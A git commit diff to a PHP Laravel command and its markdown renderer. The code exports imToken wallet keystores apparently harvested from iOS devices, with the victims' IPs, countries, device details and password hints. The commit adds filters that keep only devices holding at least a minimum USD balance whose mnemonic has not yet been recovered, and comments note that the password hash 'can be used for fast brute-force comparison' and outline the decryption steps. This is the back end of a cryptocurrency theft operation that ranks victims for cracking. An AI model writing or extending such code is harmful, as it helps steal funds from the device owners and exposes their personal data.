feat: export

This commit is contained in:
hashbro
2026-09-30 04:04:12 +08:00
parent c979249a02
commit 7e8be467a0
2 changed files with 123 additions and 114 deletions
@@ -22,11 +22,12 @@ class ExportImtokenRichCommand extends Command
{
protected $signature = 'coruna:export-imtoken-rich
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
{--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)}
{--no-md : Skip markdown report}
{--no-json : Skip JSON report}
{--limit= : Cap number of devices (debug)}';
protected $description = 'Export devices with imToken addresses (balance > 0) and a populated imToken keystore';
protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)';
public function handle(): int
{
@@ -64,6 +65,7 @@ class ExportImtokenRichCommand extends Command
$summary = [
'exported_at' => now()->toIso8601String(),
'min_usd' => (float) $this->option('min-usd'),
'device_count' => count($devices),
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
@@ -91,33 +93,80 @@ class ExportImtokenRichCommand extends Command
}
/**
* Device IDs that have BOTH an imToken address with balance and an imToken
* keystore with non-empty raw_json.
* Device IDs that meet ALL criteria:
* 1. has imToken wallet_addresses with any coin > 0
* 2. USD-estimated total of those imToken addresses >= --min-usd
* 3. device has NO wallet_mnemonics rows (助记词未恢复)
* 4. has an imToken wallet_keystore with non-empty raw_json containing
* a Web3 keystore node (crypto.ciphertext + crypto.mac).
*/
private function candidateDeviceIds()
{
$addrIds = DB::table('wallet_addresses')
$minUsd = (float) $this->option('min-usd');
// Step 1: imToken addresses with balance, grouped by device.
$addrRows = DB::table('wallet_addresses')
->where('source', 'imToken')
->where(function ($q) {
foreach (WalletAddress::COIN_COLUMNS as $c) {
$q->orWhere($c, '>', 0);
}
})
->pluck('device_id')
->unique();
->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS))
->get();
if ($addrIds->isEmpty()) {
if ($addrRows->isEmpty()) {
return collect();
}
// Step 2: aggregate per device, apply USD threshold.
$byDevice = [];
foreach ($addrRows as $row) {
$id = (int) $row->device_id;
if (! isset($byDevice[$id])) {
$byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
}
foreach (WalletAddress::COIN_COLUMNS as $c) {
$byDevice[$id][$c] += (float) ($row->{$c} ?? 0);
}
}
$usdOk = [];
foreach ($byDevice as $id => $coins) {
$usd = ($coins['usdt'] ?? 0)
+ ($coins['trx'] ?? 0) * 0.15
+ ($coins['eth'] ?? 0) * 2500
+ ($coins['btc'] ?? 0) * 60000
+ ($coins['bnb'] ?? 0) * 500
+ ($coins['sol'] ?? 0) * 150;
if ($usd >= $minUsd) {
$usdOk[$id] = true;
}
}
if ($usdOk === []) {
return collect();
}
$usdOkIds = array_keys($usdOk);
// Step 3: exclude devices that have ANY recovered mnemonic.
$withMnemonic = DB::table('wallet_mnemonics')
->whereIn('device_id', $usdOkIds)
->pluck('device_id')
->unique()
->all();
$noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic));
if ($noMnemonicIds === []) {
return collect();
}
// Step 4: keep only devices that have an imToken keystore with data.
$ksDeviceIds = DB::table('wallet_keystores')
->where('source', 'imToken')
->whereNotNull('raw_json')
->whereIn('device_id', $addrIds)
->whereIn('device_id', $noMnemonicIds)
->pluck('device_id')
->unique();
$ids = $addrIds->intersect($ksDeviceIds)->values();
$ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values();
if ($limit = (int) $this->option('limit')) {
$ids = $ids->take($limit);
}
@@ -6,7 +6,11 @@ use App\Models\WalletAddress;
/**
* Renders the imToken-rich export as a markdown document.
* Kept separate from ExportImtokenRichCommand to keep the command class small.
* Each device is one block:
* - summary line (设备 id, 密码提示, 地址数, 总余额)
* - 设备基本信息 as JSON
* - 地址列表 as table
* - keystore as JSON
*
* @internal
*/
@@ -24,6 +28,9 @@ final class ExportImtokenRichMarkdown
$md[] = '';
$md[] = '导出时间: '.$this->summary['exported_at'];
$md[] = '';
$md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
.' · 无助记词 · 有 keystore';
$md[] = '';
$md[] = '## 汇总';
$md[] = '';
$md[] = '| 指标 | 值 |';
@@ -50,7 +57,7 @@ final class ExportImtokenRichMarkdown
$md[] = '';
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
$md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥';
$md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥';
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
@@ -61,38 +68,75 @@ final class ExportImtokenRichMarkdown
private function renderDevice(array &$md, array $device): void
{
$hints = $this->collectPasswordHints($device['keystores']);
$hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
$addrCount = count($device['addresses']);
$usd = $device['totals']['usd_approx'];
$md[] = '---';
$md[] = '';
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| Channel ID | {$device['channel_id']} |";
$md[] = "| 机型 | {$device['model']} |";
$md[] = "| iOS 版本 | {$device['ios_version']} |";
$md[] = "| IP | {$device['ip']} |";
$md[] = "| 国家 | {$device['country']} |";
$md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |';
$md[] = "| 创建时间 | {$device['created_at']} |";
$md[] = "| 地址数 | ".count($device['addresses']).' |';
$md[] = "| Keystore 数 | ".count($device['keystores']).' |';
$md[] = "| USD 估算 | {$device['totals']['usd_approx']} |";
$md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
$md[] = '';
// 设备基本信息 as JSON
$basicInfo = [
'id' => $device['id'],
'device_id' => $device['device_id'],
'channel_id' => $device['channel_id'],
'model' => $device['model'],
'ios_version' => $device['ios_version'],
'ip' => $device['ip'],
'country' => $device['country'],
'wallet_names' => $device['wallet_names'],
'user_agent' => $device['user_agent'],
'created_at' => $device['created_at'],
];
$md[] = '**设备基本信息**:';
$md[] = '';
$md[] = '```json';
$md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
$md[] = '```';
$md[] = '';
// 地址列表 as table
$this->renderAddressTable($md, $device['addresses']);
// keystore as JSON
$this->renderKeystores($md, $device['keystores']);
}
/**
* @param list<array<string, mixed>> $keystores
* @return list<string>
*/
private function collectPasswordHints(array $keystores): array
{
$hints = [];
foreach ($keystores as $ks) {
$meta = $ks['keystore']['imTokenMeta'] ?? null;
if (is_array($meta) && isset($meta['passwordHint'])) {
$h = trim((string) $meta['passwordHint']);
if ($h !== '' && ! in_array($h, $hints, true)) {
$hints[] = $h;
}
}
}
return $hints;
}
private function renderAddressTable(array &$md, array $addresses): void
{
$md[] = '**地址列表**:';
$md[] = '';
if ($addresses === []) {
$md[] = '### 地址(无)';
$md[] = '_(无)_';
$md[] = '';
return;
}
$md[] = '### 地址';
$md[] = '';
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$header[] = strtoupper($col);
@@ -119,98 +163,14 @@ final class ExportImtokenRichMarkdown
private function renderKeystores(array &$md, array $keystores): void
{
if ($keystores === []) {
$md[] = '### Keystore(无)';
$md[] = '';
return;
}
$md[] = '### Keystore';
$md[] = '';
foreach ($keystores as $ks) {
$this->renderKeystore($md, $ks);
}
}
private function renderKeystore(array &$md, array $ks): void
{
$k = $ks['keystore'];
$dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出';
$md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}";
$md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| type | {$k['type']} |";
$md[] = "| version | {$k['version']} |";
$md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |";
$md[] = "| derivationPath | `{$k['derivationPath']}` |";
$md[] = "| keyHash | `{$k['keyHash']}` |";
$md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |";
$md[] = "| 创建时间 | {$ks['created_at']} |";
$md[] = '';
$crypto = $k['crypto'];
$md[] = '**crypto**';
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
$md[] = "| kdf | {$crypto['kdf']} |";
$md[] = "| cipher | {$crypto['cipher']} |";
$kp = $crypto['kdfparams'] ?? [];
if (is_array($kp)) {
if (isset($kp['c'])) {
$md[] = "| kdfparams.c (迭代) | {$kp['c']} |";
}
if (isset($kp['n'])) {
$md[] = "| kdfparams.n | {$kp['n']} |";
}
if (isset($kp['r'])) {
$md[] = "| kdfparams.r | {$kp['r']} |";
}
if (isset($kp['p'])) {
$md[] = "| kdfparams.p | {$kp['p']} |";
}
if (isset($kp['dklen'])) {
$md[] = "| kdfparams.dklen | {$kp['dklen']} |";
}
if (isset($kp['prf'])) {
$md[] = "| kdfparams.prf | {$kp['prf']} |";
}
if (isset($kp['salt'])) {
$md[] = "| kdfparams.salt | `{$kp['salt']}` |";
}
}
$cp = $crypto['cipherparams'] ?? [];
if (is_array($cp) && isset($cp['iv'])) {
$md[] = "| cipherparams.iv | `{$cp['iv']}` |";
}
$md[] = "| ciphertext | `{$crypto['ciphertext']}` |";
$md[] = "| mac | `{$crypto['mac']}` |";
$md[] = '';
$meta = $k['imTokenMeta'];
if (is_array($meta)) {
$md[] = '**imTokenMeta**';
$md[] = '';
$md[] = '| 字段 | 值 |';
$md[] = '|---|---|';
foreach ($meta as $key => $val) {
if (is_array($val)) {
$val = json_encode($val, JSON_UNESCAPED_UNICODE);
}
$md[] = "| {$key} | {$val} |";
}
$md[] = '';
}
$accts = $k['activeAccounts'];
if (is_array($accts) && $accts !== []) {
$md[] = '**activeAccounts**';
$md[] = '';
$md[] = '| coin | address | derivationPath | publicKey |';
$md[] = '|---|---|---|---|';
foreach ($accts as $acc) {
$md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |';
}
$md[] = '```json';
$md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
$md[] = '```';
$md[] = '';
}
}